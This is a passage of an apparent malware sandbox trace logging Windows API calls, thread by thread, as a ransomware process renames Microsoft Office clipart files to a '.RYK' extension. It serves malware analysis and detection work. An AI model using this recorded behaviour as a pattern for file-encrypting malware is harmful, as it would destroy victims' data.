	[0208.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG", dwFileAttributes=0x80) returned 0
	[0208.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1908
	os_tid = 0x23f8

	[0208.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG", dwFileAttributes=0x80) returned 0
	[0208.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1909
	os_tid = 0x23fc

	[0208.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG", dwFileAttributes=0x80) returned 0
	[0208.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1910
	os_tid = 0x1fa0

	[0208.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", dwFileAttributes=0x80) returned 0
	[0208.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1911
	os_tid = 0x1fd0

	[0208.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", dwFileAttributes=0x80) returned 0
	[0208.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1912
	os_tid = 0x1fcc

	[0208.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", dwFileAttributes=0x80) returned 0
	[0208.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1913
	os_tid = 0x202c

	[0208.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF", dwFileAttributes=0x80) returned 0
	[0209.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1918
	os_tid = 0x1d10

	[0208.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF", dwFileAttributes=0x80) returned 0
	[0209.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1919
	os_tid = 0x1f9c

	[0208.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", dwFileAttributes=0x80) returned 0
	[0209.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1920
	os_tid = 0x1d08

	[0208.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", dwFileAttributes=0x80) returned 0
	[0209.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1921
	os_tid = 0x2120

	[0208.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", dwFileAttributes=0x80) returned 0
	[0209.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1922
	os_tid = 0x1dfc

	[0208.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", dwFileAttributes=0x80) returned 0
	[0209.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1923
	os_tid = 0x21c8

	[0208.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", dwFileAttributes=0x80) returned 0
	[0209.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1924
	os_tid = 0x1fc8

	[0208.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", dwFileAttributes=0x80) returned 0
	[0209.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1925
	os_tid = 0x1cd0

	[0208.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", dwFileAttributes=0x80) returned 0
	[0209.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1926
	os_tid = 0x1e60

	[0208.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", dwFileAttributes=0x80) returned 0
	[0209.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1927
	os_tid = 0x2404

	[0208.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", dwFileAttributes=0x80) returned 0
	[0209.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1928
	os_tid = 0x2408

	[0208.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", dwFileAttributes=0x80) returned 0
	[0209.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1930
	os_tid = 0x2410

	[0208.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", dwFileAttributes=0x80) returned 0
	[0209.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1954
	os_tid = 0x243c

	[0210.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", dwFileAttributes=0x80) returned 0
	[0210.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1955
	os_tid = 0x2440

	[0210.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", dwFileAttributes=0x80) returned 0
	[0210.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1956
	os_tid = 0x2444

	[0210.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", dwFileAttributes=0x80) returned 0
	[0210.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1957
	os_tid = 0x2448

	[0210.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", dwFileAttributes=0x80) returned 0
	[0210.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1958
	os_tid = 0x244c

	[0210.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", dwFileAttributes=0x80) returned 0
	[0210.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1959
	os_tid = 0x2450

	[0210.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", dwFileAttributes=0x80) returned 0
	[0210.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.208] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1960
	os_tid = 0x2454

	[0210.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", dwFileAttributes=0x80) returned 0
	[0210.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1961
	os_tid = 0x2458

